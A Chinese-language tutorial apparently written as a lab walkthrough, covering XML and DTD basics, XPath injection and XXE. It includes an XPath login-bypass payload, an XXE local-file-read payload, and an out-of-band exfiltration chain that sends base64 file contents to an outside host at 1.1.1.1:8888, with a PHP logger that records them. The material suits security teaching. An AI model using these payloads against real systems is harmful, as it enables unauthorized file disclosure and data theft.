XXE-实体注入
XML可扩展标记语言(eXtensible Markup Language),标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。在电子计算机中,标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。早在1998年,W3C就发布了XML1.0规范,使用它来简化Internet的文档信息传输。
XML
可扩展:标签都是自定义的。
功能:存储数据(1. 配置文件 2. 在网络中传输)
xml与html的区别:
1. xml标签都是自定义的,html标签是预定义。
2. xml的语法严格,html语法松散
3. xml是存储数据的,html是展示数据
基本语法:
1. xml文档的后缀名 .xml
2. xml第一行必须定义为文档声明(必须是严格意义的第一行)
3. xml文档中有且仅有一个根标签
4. 属性值必须使用引号(单双都可)引起来
5. 标签必须正确关闭
6. xml标签名称区分大小写
如图所示,<users></users>为根元素。其他闭合元素为子元素。
XML语法中有一类叫做CDATA区,在编写XML文件时,有些内容可能不想让解析引擎执行,相当于让他完全当做一个文本输出。
XML信息泄露
我们先制作一个存储用户信息的XML文件。
这种方式存储用户信息是不安全的,我们可能使用后台扫描工具直接扫出来。
XPath
XPath 使用路径表达式来选取 XML 文档中的节点或节点集。节点是通过沿着路径 (path) 或者步 (steps) 来选取的
XPath 使用路径表达式在 XML 文档中进行导航
XPath 包含一个标准函数库
XPath 是 XSLT 中的主要元素
XPath 是一个 W3C 标准
XPath是XML的路径语言,是用来确定XML文档中的部分位置的语言,它用来选取XML文档中的节点或者节点集,XPath实际上就是数据库查询。有数据库查询就可以尝试sql注入,某些web应用登录验证程序中,程序会通过用户提交输入的用户名和密码来执行授权操作,验证数据存放在XML文件中
XPath典型查询语句:
/root/users/user[username/text()="".$name."" and password/text()="".$pwd.""]
可构造注入payload:
admin' or '1'='1&pwd
万能密码绕过,类似于post注入的万能密码。
XPath学习
XPath注入
我自建了一个简单的靶场。
index.php主页面。
登入成功页面
我们这里可以采用XPath注入,例如万能密码。
注入成功。
XML
xml文档的构建模块
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
元素
属性
实体
PCDATA
CDATA
元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。
<body>body text in between</body>
<message>some message in between</message>
空的 HTML 元素的例子是 “hr”、“br” 以及 “img”。
属性可提供有关元素的额外信息
<img src="computer.gif" />
实体是用来定义普通文本的变量。实体引用是对实体的引用。
PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。
DTD(文档类型定义)
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
1,内部声明:
<!DOCTYOE test any>
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
2,外部声明(引用外部DTD):
<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体
1,一般实体的声明语法:<!ENTITY 实体名 "实体内容“>
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容“>
引用实体的方式:%实体名;
1,内部实体声明:<!ENTITY 实体名称 "实体的值">
<!ENTITY eviltest "eviltest">
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>
外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;©right;</author>
XXE
简单XXE攻击payload
<?php
$test='<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>';
$obj=simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
print_r($obj);
?>
变量test里面是XML,然后使用simplexml_load_string将其转换为对象
simplexml_load_string()函数
功能
把 XML 字符串载入对象中
语法
simplexml_load_string( data,classname,options,ns,is_prefix );
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3psbpGVt-1582945682294)(https://files.jb51.net/file_images/article/201902/201923104516743.png)]
第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMlement这个类,然后LIBXML_NOET是代替实体,然后去调用文件c盘下1.txt。
很多时候后端语言解析了XML后其实并不会给你输出,我们需要一个类似接受平台的接收器,把XML读取的数据发送到接收平台,然后接受平台储存然后我们在接受平台上分析。先使用PHP伪协议读取文件。
php://filter/read=convert.base64-encode/resource=c:/1.txt
然后我们再去调用一个外部的XML比如1.xml
<!ENTITY % remote SYSTEM "http://1.1.1.1/1.xml">
这个XML的内容是
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://1.1.1.1:8888/1.php?id=%file;'>"
>
%all;
这个1.xml会被加载到原来的xml然后我们最后来调用,然后你读取出来的文件会用get的方式传参给2.php然后2.php会记录下来存储到3.txt中。2.php的内容如下:
<?php file_put_contents("3.txt",$_GET['id'],FILE_APPEND);?>
靶场演示
来到XXE靶场,寻找xxe的漏洞可以首先寻找simplexml_load_string()函数
找到后,发现这里$postrStr接受了一个post传参,然后放入函数转化为对象,可以进行xxe注入。
payload:
第一行是使用php伪协议读取该靶机下的flag.php文件内容(base64编码过的)
第二行就是外部实体声明加载一台服务器上的1.xml文件。
第三行调用remote
第四行调用send
这个1.xml就是类似下面的内容。
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://1.1.1.1:8888/2.php?id=%file;'>"
>
%all;
2.php内容如下:
<?php file_put_contents("3.txt",$_GET['id'],FILE_APPEND);?>
然后向靶场post传入payload。然后访问我们的接受服务器上的3.txt
base64解码即可得到flag